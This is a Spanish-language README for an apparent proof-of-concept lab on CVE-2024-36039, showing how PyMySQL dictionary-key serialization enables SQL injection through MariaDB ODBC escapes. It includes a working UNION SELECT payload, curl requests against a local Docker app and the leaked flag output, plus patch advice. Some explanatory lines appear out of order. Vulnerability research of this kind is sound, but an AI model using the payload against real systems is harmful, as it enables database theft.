
PoC para CVE-2024-36039: Demostración de inyección SQL mediante el fallo de serialización de objeto a cadena en PyMySQL
Un laboratorio de Prueba de Concepto (PoC) completo y reproducible para CVE-2024-36039, que demuestra cómo una vulnerabilidad de Inyección de Objetos en PyMySQL (versiones <= 1.1.0) puede escalarse a una Inyección SQL completa utilizando las Secuencias de Escape ODBC de MariaDB.
CVE-2024-36039 es una vulnerabilidad en PyMySQL, una librería cliente de MySQL escrita en Python puro.
Cuando las consultas parametrizadas (p. ej., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) reciben un diccionario de Python cuyas claves son objetos personalizados en lugar de cadenas estándar, PyMySQL utiliza el método __str__ o __repr__ del objeto para serializarlo en una cadena SQL.
El Bug: PyMySQL olvida escapar (envolver entre comillas simples) la cadena resultante de la clave del objeto.
Esto da como resultado que se inyecte una cadena cruda y sin comillas directamente en la sentencia SQL con formato de diccionario: {UnquotedObjectString: 'EscapedValue'}.
Por sí sola, la inyección de {UnquotedKey: 'Value'} en una consulta MariaDB provocará un 1064 Syntax Error porque {} no es sintaxis estándar de datos SQL.
Sin embargo, MariaDB/MySQL admite Secuencias de Escape ODBC, que utilizan llaves {}. Para evitar el error de sintaxis, la cadena inmediatamente posterior a { debe ser una palabra clave ODBC válida (p. ej., d, t, ts, fn).
fn/* mediante su método __repr__.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB reconoce el inicio de una función escalar ODBC./*: "'*/ : MariaDB lo trata como un comentario de bloque. ¡Los dos puntos : y la comilla de apertura ' generados por PyMySQL se ignoran por completo! 1} : Completa la función ODBC (devolviendo efectivamente el entero 1). UNION SELECT 1, flag, 3 FROM secret : Nuestro payload SQL inyectado se ejecuta.Resultado: ¡Una Inyección SQL impecable que elude tanto la lógica de la aplicación como la parametrización de PyMySQL!
Clona este repositorio y levanta el entorno:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Espera unos 15-20 segundos a que el contenedor de MariaDB se inicialice por completo).
Envía una solicitud JSON estándar. El backend convertirá la clave JSON en un objeto CustomKey.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Respuesta: Obtendrás un Error de Sintaxis SQL que indica que {yamato: "'Any_value'"} es SQL inválido, confirmando el punto de inyección.
Inyecta el payload de secuencia de escape ODBC para eludir el error de sintaxis y extraer la flag oculta de la tabla secret.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Respuesta (¡PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
Para corregir esta vulnerabilidad, actualiza PyMySQL a la versión 1.1.1 o posterior.
En las versiones parcheadas, los desarrolladores se aseguran de que todas las claves del diccionario, independientemente de su tipo, se escapen y entrecomillen correctamente antes de insertarse en la sentencia SQL.
pip install --upgrade PyMySQL
Aviso legal: Este repositorio se crea únicamente con fines educativos y de investigación. No utilices estas técnicas contra sistemas que no poseas o para los que no tengas permiso explícito para probar.
© 2026 por zenniskayy. Construido para un internet más seguro.
-- '"} : El comentario SQL ignora el resto de la basura final ('}).